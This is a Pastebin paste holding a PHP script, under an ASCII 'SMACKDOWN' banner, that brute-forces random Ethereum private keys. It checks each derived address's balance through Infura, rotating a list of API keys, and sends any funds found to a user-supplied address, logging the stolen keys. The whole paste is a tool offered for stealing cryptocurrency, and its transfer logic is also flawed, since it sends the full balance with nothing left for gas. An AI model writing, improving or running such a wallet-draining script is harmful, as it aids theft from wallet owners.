Guest User

Untitled

a guest
Dec 27th, 2024
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.50 KB | None | 0 0
  1. <?php
  2. require 'vendor/autoload.php';
  3.  
  4. use kornrunner\Keccak;
  5. use Mdanter\Ecc\EccFactory;
  6.  
  7. function printSmackdownMessage() {
  8. echo "
  9. ______ __ __ ______ ______ __ __ _______ ______ __ __ __ __ ______ ______
  10. / \/ \ / |/ \ / \/ | / / \ / \/ | _ / / \ / | / \ / \
  11. /$$$$$$ $$ \ /$$ /$$$$$$ /$$$$$$ $$ | /$$/$$$$$$$ /$$$$$$ $$ | / \ $$ $$ \ $$ | /$$$$$$ /$$$$$$ |
  12. $$ \__$$/$$$ \ /$$$ $$ |__$$ $$ | $$/$$ |/$$/ $$ | $$ $$ | $$ $$ |/$ \$$ $$$ \$$ | $$ | $$/$$ | $$/
  13. $$ \$$$$ /$$$$ $$ $$ $$ | $$ $$< $$ | $$ $$ | $$ $$ /$$$ $$ $$$$ $$ | $$ | $$ |
  14. $$$$$$ $$ $$ $$/$$ $$$$$$$$ $$ | __$$$$$ \ $$ | $$ $$ | $$ $$ $$/$$ $$ $$ $$ $$ | $$ | __$$ | __
  15. / \__$$ $$ |$$$/ $$ $$ | $$ $$ \__/ $$ |$$ \$$ |__$$ $$ \__$$ $$$$/ $$$$ $$ |$$$$ |__$$ \__/ $$ \__/ |
  16. $$ $$/$$ | $/ $$ $$ | $$ $$ $$/$$ | $$ $$ $$/$$ $$/$$$/ $$$ $$ | $$$ / $$ $$/$$ $$/
  17. $$$$$$/ $$/ $$/$$/ $$/ $$$$$$/ $$/ $$/$$$$$$$/ $$$$$$/ $$/ $$/$$/ $$/$$/ $$$$$$/ $$$$$$/
  18.  
  19.  
  20. ";
  21. }
  22.  
  23. printSmackdownMessage();
  24.  
  25. $destinationAddress = 'CHANGE WITH UR ETH ADDRESS';
  26.  
  27. $listFile = "list.txt";
  28.  
  29. if (!file_exists($listFile)) {
  30. die("File list.txt NOT FOUND!\n");
  31. }
  32.  
  33. $apiKeys = file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  34. if (empty($apiKeys)) {
  35. die("File list.txt EMPTY DONT HAVE API.\n");
  36. }
  37.  
  38. $currentApiKeyIndex = 0;
  39.  
  40. function getRpcUrl() {
  41. global $apiKeys, $currentApiKeyIndex;
  42. return 'https://mainnet.infura.io/v3/' . $apiKeys[$currentApiKeyIndex];
  43. }
  44.  
  45. function switchApiKey() {
  46. global $apiKeys, $currentApiKeyIndex;
  47.  
  48. $currentApiKeyIndex = ($currentApiKeyIndex + 1) % count($apiKeys);
  49. echo "Switching to API key: " . $apiKeys[$currentApiKeyIndex] . "\n";
  50. }
  51.  
  52. function rpcRequest($method, $params = []) {
  53. $maxRetries = 4;
  54. $retryCount = 0;
  55.  
  56. while ($retryCount < $maxRetries) {
  57. $rpcUrl = getRpcUrl();
  58.  
  59. $payload = json_encode([
  60. 'jsonrpc' => '2.0',
  61. 'method' => $method,
  62. 'params' => $params,
  63. 'id' => 1
  64. ]);
  65.  
  66. $ch = curl_init();
  67. curl_setopt($ch, CURLOPT_URL, $rpcUrl);
  68. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  69. curl_setopt($ch, CURLOPT_POST, true);
  70. curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
  71. curl_setopt($ch, CURLOPT_HTTPHEADER, [
  72. 'Content-Type: application/json'
  73. ]);
  74.  
  75. $response = curl_exec($ch);
  76. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  77. curl_close($ch);
  78.  
  79. $result = json_decode($response, true);
  80.  
  81. if ($httpCode === 200 && !isset($result['error'])) {
  82. return $result['result'];
  83. } else {
  84. echo "RPC request failed with API key: " . $apiKeys[$currentApiKeyIndex] . "\n";
  85. if (isset($result['error'])) {
  86. echo "Error: " . $result['error']['message'] . "\n";
  87. }
  88. switchApiKey();
  89. $retryCount++;
  90. }
  91. }
  92.  
  93. throw new Exception("All API keys failed after $maxRetries retries.");
  94. }
  95.  
  96. function generateEthPrivateKey() {
  97. return bin2hex(random_bytes(32));
  98. }
  99.  
  100. function getEthAddressFromPrivateKey($privateKey) {
  101. $secp256k1 = EccFactory::getSecgCurves()->generator256k1();
  102. $privKey = $secp256k1->getPrivateKeyFrom(gmp_init($privateKey, 16));
  103. $pubKey = $privKey->getPublicKey();
  104.  
  105. $x = str_pad(gmp_strval($pubKey->getPoint()->getX(), 16), 64, '0', STR_PAD_LEFT);
  106. $y = str_pad(gmp_strval($pubKey->getPoint()->getY(), 16), 64, '0', STR_PAD_LEFT);
  107.  
  108. $publicKey = hex2bin($x . $y);
  109.  
  110. $hash = Keccak::hash($publicKey, 256);
  111.  
  112. return '0x' . substr($hash, -40);
  113. }
  114.  
  115. function checkEthBalance($address) {
  116. try {
  117. $balanceHex = rpcRequest('eth_getBalance', [$address, 'latest']);
  118. return hexdec($balanceHex);
  119. } catch (Exception $e) {
  120. echo "Error fetching balance: " . $e->getMessage() . "\nRetrying...\n";
  121. return 0;
  122. }
  123. }
  124.  
  125. function sendTransaction($privateKey, $to, $amountWei) {
  126. try {
  127. $nonce = hexdec(rpcRequest('eth_getTransactionCount', [getEthAddressFromPrivateKey($privateKey), 'latest']));
  128. $gasPrice = hexdec(rpcRequest('eth_gasPrice'));
  129.  
  130. $transaction = [
  131. 'nonce' => '0x' . dechex($nonce),
  132. 'to' => $to,
  133. 'value' => '0x' . dechex($amountWei),
  134. 'gas' => '0x5208',
  135. 'gasPrice' => '0x' . dechex($gasPrice),
  136. 'chainId' => 1
  137. ];
  138.  
  139. $tx = new \EthereumRawTx\Transaction($transaction);
  140. $signedTx = $tx->sign($privateKey);
  141.  
  142. return rpcRequest('eth_sendRawTransaction', ['0x' . $signedTx]);
  143. } catch (Exception $e) {
  144. echo "Error sending transaction: " . $e->getMessage() . "\n";
  145. return null;
  146. }
  147. }
  148.  
  149. $resultFile = fopen("resultvalid.txt", "a");
  150. $counter = 1;
  151. $maxIterations = 2000;
  152.  
  153. while (true) {
  154. try {
  155. if ($counter > $maxIterations) {
  156. echo "Resetting process after $maxIterations iterations to free memory...\n";
  157. fclose($resultFile);
  158. gc_collect_cycles();
  159. $resultFile = fopen("resultvalid.txt", "a");
  160. $counter = 1;
  161. }
  162.  
  163. $privateKey = generateEthPrivateKey();
  164. $address = getEthAddressFromPrivateKey($privateKey);
  165.  
  166. $balance = checkEthBalance($address);
  167.  
  168. echo "$counter. $privateKey\n";
  169. echo " Address : $address\n";
  170. echo " Balance : $balance wei\n";
  171.  
  172. if ($balance > 0) {
  173. $txHash = sendTransaction($privateKey, $destinationAddress, $balance);
  174.  
  175. fwrite($resultFile, "Private Key: $privateKey\n");
  176. fwrite($resultFile, "Address: $address\n");
  177. fwrite($resultFile, "Balance: $balance wei\n");
  178. fwrite($resultFile, "TxHash: $txHash\n");
  179. fwrite($resultFile, "====================\n");
  180.  
  181. echo " Transaction sent: $txHash\n";
  182. }
  183.  
  184. unset($privateKey, $address, $balance, $txHash);
  185. } catch (Exception $e) {
  186. echo "$counter. Error: " . $e->getMessage() . "\n";
  187. }
  188.  
  189. $counter++;
  190. usleep(100000);
  191. }
  192.  
  193. fclose($resultFile);
  194. ?>
Advertisement
Add Comment
Please, Sign In to add comment